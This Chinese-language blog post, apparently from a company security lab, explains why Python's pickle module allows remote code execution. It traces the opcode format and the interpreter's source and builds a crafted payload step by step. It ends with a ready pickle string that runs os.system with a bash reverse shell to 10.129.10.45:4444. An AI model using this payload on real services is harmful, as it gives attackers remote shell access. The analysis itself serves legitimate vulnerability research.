Python Deserialize Analyze

简介:
本文用于分析Python反序列化漏洞形成原因及其他库不存在反序列化漏洞的原因。

状态:更新中
出自:北森云计算 - 安全攻防实验室

文章目录

  • 概述
  • Pickle

概述

python序列化用于将python运行时对象转换为二进制数据,使得python运行时对象可以在不同平台或不同语言中通信、对象持久化存储等。Python用于序列化的包有pickle、json、Demjson等,其中json、Demjson均不存在反序列化漏洞,因此有必要分析这些包之间的差异。

Pickle

Pickle实现了用于序列化与反序列化python对象的协议,将python对象的层次结构转换为字节流,从而实现python对象的跨平台、跨语言的通信;Pickle可用于处理json数据、python自定义对象(类)等,因此pickle需要实现函数的动态创建、加载和执行;正是因为这个原因,pickle包可用于反序列化特定的二进制数据导致反序列化RCE甚至reverse shell。

Pickle通过反射的机制实现了python对象的反序列化,Pickle实现的反序列化可用于加载内置模块和调用内置函数,因此如果解析了未知来源的反序列化数据将可能导致程序被攻击,在Pickle模块的官方文档中有如下警告:

1
Warning The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

Pickle序列化后的数据结构

查看序列化后的数据:

1
2
3
4
5
6
7
8
$ python -c "import pickle;l = [i for i in range(5)];print(pickle.dumps(l))"
(lp0
I0
aI1
aI2
aI3
aI4
a.

上述数据即为序列化后的数据,其原始二进制数据为: “(lp0\nI0\naI1\naI2\naI3\naI4\na.”

反序列化后数据解析:

  • “(“代表”MARK”,表示将object()对象推入栈中; 此时:stack=[object()]
  • “l”代表”LIST”,表示将stack的len(stack)的数据;此时: stack=[[]]
  • “p”代表”PUT”,表示p读取当前行”0\n”,并将0作为键存储stack[-1]的内容;此时:meno[0]=[],stack=[[]]
  • “I”代表”INT”, 表示将I之后的一行数据”0\n”作为int型或log型推入栈中;此时:meno[0]=[],stack=[[],0]
  • “a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:meno[0]=[],stack=[[0]]
  • “I”代表”INT”,表示将I之后的一行数据”1\n”作为int型或log型推入栈中;此时:meno[0]=[],stack=[[0],1]
  • “a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:meno[0]=[],stack=[[0,1]]
  • “I”代表”INT”,表示将I之后的一行数据”2\n”作为int型或log型推入栈中;此时:meno[0]=[],stack=[[0,1],2]
  • “a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:meno[0]=[],stack=[[0,1,2]]
  • “I”代表”INT”,表示将I之后的一行数据”3\n”作为int型或log型推入栈中;此时:meno[0]=[],stack=[[0,1,2],3]
  • “a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:meno[0]=[],stack=[[0,1,2,3]]
  • “I”代表”INT”,表示将I之后的一行数据”4\n”作为int型或log型推入栈中;此时:meno[0]=[],stack=[[0,1,2,3],4]
  • “a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:meno[0]=[],stack=[[0,1,2,3,4]]
  • “.”代表”STOP”,表示停止,将stack中的数据pop出来,然后返回;返回值为[0,1,2,3,4]

pickle调用loads方法

pickle调用loads方法时,实际上创建了一个内存IO对象,并将该对象传递到Unpickler类中用于反序列化,代码如下:

1
2
3
def loads(str):
file = StringIO(str)
return Unpickler(file).load()

跟踪load方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def load(self):
"""Read a pickled object representation from the open file.

Return the reconstituted object hierarchy specified in the file.
"""
self.mark = object() # any new unique object
self.stack = []
self.append = self.stack.append
read = self.read
dispatch = self.dispatch
try:
while 1:
key = read(1)
dispatch[key](self)
except _Stop,stopinst:
return stopinst.value

第一行,创建object()对象,用于marker()方法判断数据插入的位置;
第二行,创建stack对象,初始化为空列表,用于后续存储数据;
第三行,定义append对象,用于将数据追加到stack对象中
第四行,定义read对象,用于从文件对象中读取数据; 其中文件对象可以是磁盘文件,也可以是内存io对象;
第五行,定义反射处理程序的字典对象dispatch,用于存储各类反序列化对象的处理函数;
第6-8行,循环读取文件对象中的字符并调用对应的处理函数对数据进行处理;
第9-10行,通过自定义异常将反序列化的结果返回

pickle 生成shell

在pickle中内置了’R’对象的Reduce方法,用于从当前stack中调用可执行的方法,源码如下:

1
2
3
4
5
6
7
def load_reduce(self):
stack = self.stack
args = stack.pop()
func = stack[-1]
value = func(*args)
stack[-1] = value
dispatch[REDUCE] = load_reduce

因此,只要构造数据保证调用”R”时stack的后两位分别是元祖格式的参数和一个可执行的方法即可,如下:

1
[<...>,<built-in function system>,('/bin/sh',)]

接下来需要构造出”built-in function system”这个方法;继续查看pickle的反射函数列表,可以找到GLOBAL='c'# push self.find_class(modname,name); 2 string args这行代码,意思是通过指定字符c及其后的字符串即可动态加载字符串代表的类,

load_global函数(c对象):

1
2
3
4
5
def load_global(self):
module = self.readline()[:-1]
name = self.readline()[:-1]
klass = self.find_class(module,name)
self.append(klass)

  • 第一行,从当前位置读取文件的一整行并删除”\n”,作为模块名
  • 第二行,从当前位置读取文件的一整行,并删除”\n”,作为模块的方法名
  • 第三行,将module,name作为参数调用find_class,获取module.name方法
  • 第四行,将module.name方法添加到stack的末尾

find_class函数:

1
2
3
4
5
6
def find_class(self,module,name):
# Subclasses may override this
__import__(module)
mod = sys.modules[module]
klass = getattr(mod,name)
return klass

  • 第一行,通过__import__动态加载module
  • 第二行,通过sys.modules[module]获取module对应的对象mod
  • 第三行,通过getattr(mod,name)获取mod对象的方法klass
  • 第四行,将klass方法名返回

反序列化生成shell数据解析:

  • “cos\nsystem\n”将创建os.system函数;
  • “cos\nsystem\n(S’/bin/bash’”将创建os.system函数,并将字符串”/bin/bash”放入栈(list)中
  • “cos\nsystem\n(S’/bin/bash’\nt”将栈(list)中的字符串”/bin/bash”转换为元祖
  • “cos\nsystem\n(S’/bin/bash’\ntR”将当前栈(list)中最后一位的元祖作为参数传入倒数第二位的方法(os.system)中运行,此时成功构建bash;
  • “cos\nsystem\n(S’/bin/bash’\ntR.”将停止当前反序列化过程并将栈中数据返回;

目前为止,已经成功创建了用于创建shell的反序列化数据,接下来将system函数的值替换为reverse shell的值即可生成反弹shell。数据如下:
“cos\nsystem\n(S’/bin/bash -i >& /dev/tcp/10.129.10.45/4444 0>&1’\ntR.”

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%